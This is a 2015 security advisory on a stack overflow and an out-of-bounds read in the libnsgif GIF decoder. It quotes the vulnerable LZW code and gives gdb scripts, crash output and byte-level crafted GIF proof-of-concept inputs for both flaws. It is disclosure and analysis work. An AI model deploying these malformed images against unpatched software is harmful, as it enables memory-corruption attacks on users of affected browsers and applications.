CVE-2015-7505 / CVE-2015-7506: libnsgif: stack overflow and out-of-bounds read
Dec 16, 2015Overview
Libnsgif[1] is a decoding library for GIF images. It is primarily developed and used as part of the NetSurf project.
As of version 0.1.2, libnsgif is vulnerable to a stack overflow (CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way LZW-compressed GIF data is processed.
Details
src/libnsgif.c #80..133:
/* Maximum LZW bits available
*/
#define GIF_MAX_LZW 12
[...]
static int table[2][(1 << GIF_MAX_LZW)];
static unsigned char stack[(1 << GIF_MAX_LZW) * 2];
src/libnsgif.c #423..628:
static gif_result gif_initialise_frame(gif_animation *gif) {
[...]
if (gif_data[0] > GIF_MAX_LZW)
return GIF_DATA_ERROR;
[...]
}
src/libnsgif.c #751..1053:
gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) {
[...]
/* Initialise the LZW decoding
*/
set_code_size = gif_data[0];
[...]
code_size = set_code_size + 1;
clear_code = (1 << set_code_size);
end_code = clear_code + 1;
max_code_size = clear_code << 1;
max_code = clear_code + 2;
[...]
}
src/libnsgif.c #1145..1169:
void gif_init_LZW(gif_animation *gif) {
[...]
*stack_pointer++ =firstcode;
}
src/libnsgif.c #1172..1237:
static bool gif_next_LZW(gif_animation *gif) {
[...]
code = gif_next_code(gif, code_size);
[...]
incode = code;
if (code >= max_code) {
*stack_pointer++ = firstcode;
code = oldcode;
}
/* The following loop is the most important in the GIF decoding cycle as every
* single pixel passes through it.
*
* Note: our stack is always big enough to hold a complete decompressed chunk. */
while (code >= clear_code) {
*stack_pointer++ = table[1][code];
new_code = table[0][code];
if (new_code < clear_code) {
code = new_code;
break;
}
*stack_pointer++ = table[1][new_code];
code = table[0][new_code];
if (code == new_code) {
gif->current_error = GIF_FRAME_DATA_ERROR;
return false;
}
}
*stack_pointer++ = firstcode = table[1][code];
[...]
oldcode = incode;
[...]
}
CVE-2015-7505
Since gif_next_LZW()
writes onto the stack so long as code
is at
least clear_code
, an overflow may eventually occur while processing a
maliciously crafted image.
Using NetSurf as an example:
~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif
[...]
stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3)
stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4)
stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5)
stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646)
Program received signal SIGSEGV, Segmentation fault.
0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210
1210 *stack_pointer++ = table[1][code];
(gdb)
stack.py:
class Breakpoint(gdb.Breakpoint):
def stop(self):
stack_pointer = get_hex("stack_pointer")
stack = get_hex("&stack")
stack_size = get_hex("sizeof stack / sizeof *stack")
stack_end = stack + stack_size
table_size = get_hex("sizeof table / sizeof **table / 2")
code = get_hex("code")
if stack_pointer > stack_end:
print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
(stack_pointer, stack_end, stack_pointer - stack_end))
if code >= table_size:
print("out-of-bounds read: code: %d (+%d)" %
(code, code - table_size + 1))
return False
def get_hex(arg):
res = gdb.execute("print/x %s" % arg, to_string=True)
x = res.split(" ")[-1].strip()
return int(x, 16)
Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
gdb.execute("run")
stack.gif:
unsigned char stack[] = {
/* GIF87a */
0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
/* gif_initialise() */
0x04, 0x00, /* gif->width */
0x04, 0x33, /* gif->height */
0x00, /* gif->global_colours */
0x00, /* gif->background_index */
0x00, /* gif->aspect_ratio */
/* gif_initialise_frame() */
0x2c, /* GIF_IMAGE_SEPARATOR */
0x00, 0x00, /* offset_x */
0x00, 0x00, /* offset_y */
0x1b, 0x00, /* width */
0x04, 0x00, /* height */
0x00, /* flags */
0x04, /* code size */
0x0d, /* block_size */
/* image data */
0x10, 0xcb,
0x41, 0xf3,
0xf3, 0xf3,
0xf3, 0xf3,
0xf3, 0xf3,
0xf3, 0xf3,
0xf3,
/* end of image data */
0x00,
/* end of .gif */
0x3b
};
CVE-2015-7506
If set_code_size
is 0xc, clear_code
is assigned a value of 4096.
Since the while-loop in gif_next_LZW()
executes so long as code >=
clear_code
, an out-of-bounds read might occur due to code
being used
to dereference table
(2d array * 4096). A boundary check exist in
that if code >= max_code
, it’s assigned the value of oldcode
–
however, the result may still exceed max_code
due to the bookkeeping
of the original value:
src/libnsgif.c #1172..1237:
static bool gif_next_LZW(gif_animation *gif) {
[...]
incode = code;
if (code >= max_code) {
*stack_pointer++ = firstcode;
code = oldcode;
}
[...]
oldcode = incode;
[...]
}
Again, using NetSurf as an example:
~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif
[...]
out-of-bounds read: code: 6670 (+2575)
out-of-bounds read: code: 7999 (+3904)
oob.py:
class Breakpoint(gdb.Breakpoint):
def stop(self):
stack_pointer = get_hex("stack_pointer")
stack = get_hex("&stack")
stack_size = get_hex("sizeof stack / sizeof *stack")
stack_end = stack + stack_size
table_size = get_hex("sizeof table / sizeof **table / 2")
code = get_hex("code")
if stack_pointer > stack_end:
print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
(stack_pointer, stack_end, stack_pointer - stack_end))
if code >= table_size:
print("out-of-bounds read: code: %d (+%d)" %
(code, code - table_size + 1))
return False
def get_hex(arg):
res = gdb.execute("print/x %s" % arg, to_string=True)
x = res.split(" ")[-1].strip()
return int(x, 16)
Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
gdb.execute("run")
oob.gif:
unsigned char oob[] = {
/* GIF87a */
0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
/* gif_initialise() */
0x04, 0x00, /* gif->width */
0x04, 0x33, /* gif->height */
0x00, /* gif->global_colours */
0x00, /* gif->background_index */
0x00, /* gif->aspect_ratio */
/* gif_initialise_frame() */
0x2c, /* GIF_IMAGE_SEPARATOR */
0x00, 0x00, /* offset_x */
0x00, 0x00, /* offset_y */
0x1b, 0x00, /* width */
0x04, 0x00, /* height */
0x00, /* flags */
0x0c, /* code size */
0x0d, /* block_size */
/* image data */
0x10, 0xcb,
0x41, 0xf3,
0xf3, 0xf3,
0xf3, 0xf3,
0xf3, 0xf3,
0xf3, 0xf3,
0xf3,
/* end of image data */
0x00,
/* end of .gif */
0x3b
};
Solution
Both vulnerabilities are fixed in git HEAD[2].